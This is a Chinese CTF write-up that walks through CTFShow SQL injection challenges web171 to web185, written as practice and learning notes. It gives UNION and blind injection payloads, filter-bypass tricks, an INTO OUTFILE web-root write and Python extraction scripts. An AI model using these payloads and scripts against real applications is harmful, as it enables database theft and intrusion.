CTFShow SQL入门记录

CTFShow SQL入门记录

入门级SQL注入,也作为一个学习记录吧,有150道题慢慢更新,也希望学到一些新姿势(只会用sqlmap一把梭的菜鸡)

-u 指定注入点
–dbs 跑库名
–tables 跑表名
–columns 跑字段名
–dump 枚举数据
-D 指定库 -T 指定表 -C指定字段
–random-agent 每次访问切换请求头 防ban
–delay=1 每次探测延时一秒 防ban

web171

这里没有任何的过滤就直接常规查找

查数据库
payload = "-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"
查列名
payload="-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"
查flag
payload="-1'union select id,username,password from ctfshow_user --+"

web172

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag 
if($row->username!=='flag'){ $ret['msg']='查询成功'; }

只要查询结果username!=flag,就可以了

这几种方法都是可以的
1' union select 1,password from ctfshow_user2--+
1' union select hex(username),password from ctfshow_user2--+
1' union select to_base64(username),password from ctfshow_user2--+

web173

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功'; }

方法同上,唯一不同就是这次是3个回显

web174

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}

这里看到查询结果不能出现flag,和数字,那就替换掉查询结果中的数字,或者就是盲注吧

方法一(替换):

1'union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),0,'numA'),1,'numB'),2,'numC'),3,'numD'),4,'numE'),5,'numF'),6,'numG'),7,'numH'),8,'numI'),9,'numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),0,'numA'),1,'numB'),2,'numC'),3,'numD'),4,'numE'),5,'numF'),6,'numG'),7,'numH'),8,'numI'),9,'numJ') from ctfshow_user4 --+

拿到base64就是在替换回来,base64 解码就是

方法二

import requests

url = 'http://7f75718b-3c31-4d0d-a95b-00a15fea4e32.challenge.ctf.show:8080/api/v4.php'

flag = ''
for i in range(1, 100):
    length = len(flag)
    min = 32
    max = 128
    while 1:
        j = min + (max - min) // 2
        if min == j:
            flag += chr(j)
            print(flag)
            break

        payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'fengyes','fengno') --+" % (
            i, j)

        r = requests.get(url=url + payload).text
        # print(r)

        if 'fengyes' in r:
            max = j
        else:
            min = j

web175

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}

\x00~\x7f 的意思就是ASCII码 0~127的字符,这里全给过滤了,也就是不允许有输出,可以写到别的文件再打开或者盲注

方法一

1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+

方法二

import requests
from time import time

url = 'http://0bc77a47-14b1-4f38-8044-a9cd74fc8c44.challenge.ctf.show:8080/api/v5.php'

flag = ''
for i in range(1, 100):
    length = len(flag)
    min = 32
    max = 128
    while 1:
        j = min + (max - min) // 2
        if min == j:
            flag += chr(j)
            print(flag)
            break

        payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (
            i, j)

        start_time = time()
        r = requests.get(url=url + payload).text
        end_time = time()
        # print(r)

        if end_time - start_time > 0.48:
            max = j
        else:
            min = j

web176

开始是有过滤的题了,先讲个万能密码1’or 1=1%23,这个在解题时会有妙用

常规思路试一下,报错,应该是被过滤了
1' union select 1,2,password from ctfshow_user%23
简单大小写替换一下,回显了
1' union selECt 1,2,password from ctfshow_user%23

web177

这次是空格被过滤,处理空格有很多方法
/**/,%0a,%09, %0b,%0c,%0d和括号

1'%0aunion%0aselect%0a1,2,password%0afrom%0actfshow_user%23

web178

还是过滤空格,可以尝试多一点的姿势来处理掉空格

web179

这里同样是过滤空格,就是能用的替换减少了,%0c还可以用

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

还有就是师傅们的一句话梭 -1’or(id=26)and’1’='1

放进去就是,
where username !='flag' and id = '-1'or(id=26)and'1'='1' limit 1;";
and 的优先级是比 or 大的,也就是说
(username !='flag' and id = '-1')  or  (id=26and'1'='1')
左边是0右边是1,id= 26是因为正好是flag的元组

web181

//对传入的参数进行了过滤
  function waf($str){return preg_match('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }

这里不仅对空格过滤了,还过滤了?# * file into select ,还是可以考虑用盲注的,‘or(id=26)and’1’='1

web182

//对传入的参数进行了过滤
function waf($str){return preg_match('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }

同上

web183

CTFShow SQL入门记录_第1张图片
过滤了挺多东西的
POST查表 tableName=ctfshow_user发现有回显

构造查询语句像这样子
select count(pass) from (ctfshow_user)where(pass)like'ctfshow{....';
import requests
url = "http://83afd841-ae35-4cb7-a7f9-8e564990dcb1.challenge.ctf.show:8080/select-waf.php"
flag = "ctfshow{"
for i in range(0, 100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data = {
            'tableName': "(ctfshow_user)where(pass)like'{}%'".format(flag + j)
        }
        r = requests.post(url=url, data=data).text
        if "$user_count = 1" in r:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

web184

CTFShow SQL入门记录_第2张图片
这里过滤了where,可以利用 right join 进行连接查询

举个例子
tableName = ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(102)))
a 和 b 是起的别名一定要起,regexp()是正则,on 后面是条件
import requests
url = "http://4f80783f-7eab-46b0-8685-9f2c469d4d19.challenge.ctf.show:8080/select-waf.php"
payload = 'ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))'
flag = ''
for i in range(45):
    if i < 5:
        continue
    for c in range(127):
        data = {
            'tableName': payload.format(i, c)
        }
        rep = requests.post(url=url, data=data)
        if rep.text.find("$user_count = 43;") > 0:
            flag += chr(c)
            print(flag)
            if chr(c) == "}":
                flag+=chr(c)
                exit(0)
                break
# 结果去掉大写字母和 . 在加上ctfshow就是flag

web 185

CTFShow SQL入门记录_第3张图片
过滤了数字,可以通过 true 来构造数字
CTFShow SQL入门记录_第4张图片

import requests
url = "http://9ffde409-f194-42cd-baf7-c29bc195d64b.challenge.ctf.show:8080/select-waf.php"
payload = 'ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))'
def creatNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    for y in range(n - 1):
        num += '+true'
    return num
flag = ''
for i in range(45):
    if i < 5:
        continue
    for c in range(127):
        data = {
            'tableName': payload.format(creatNum(i), creatNum(1), creatNum(c))
        }
        rep = requests.post(url=url, data=data)
        if rep.text.find("$user_count = 43;") > 0:
            if chr(c) != ".":
                flag += chr(c)
                print(flag.lower())
            if chr(c) == "}":
                exit(0)
                break

你可能感兴趣的:(CTFShow刷题篇)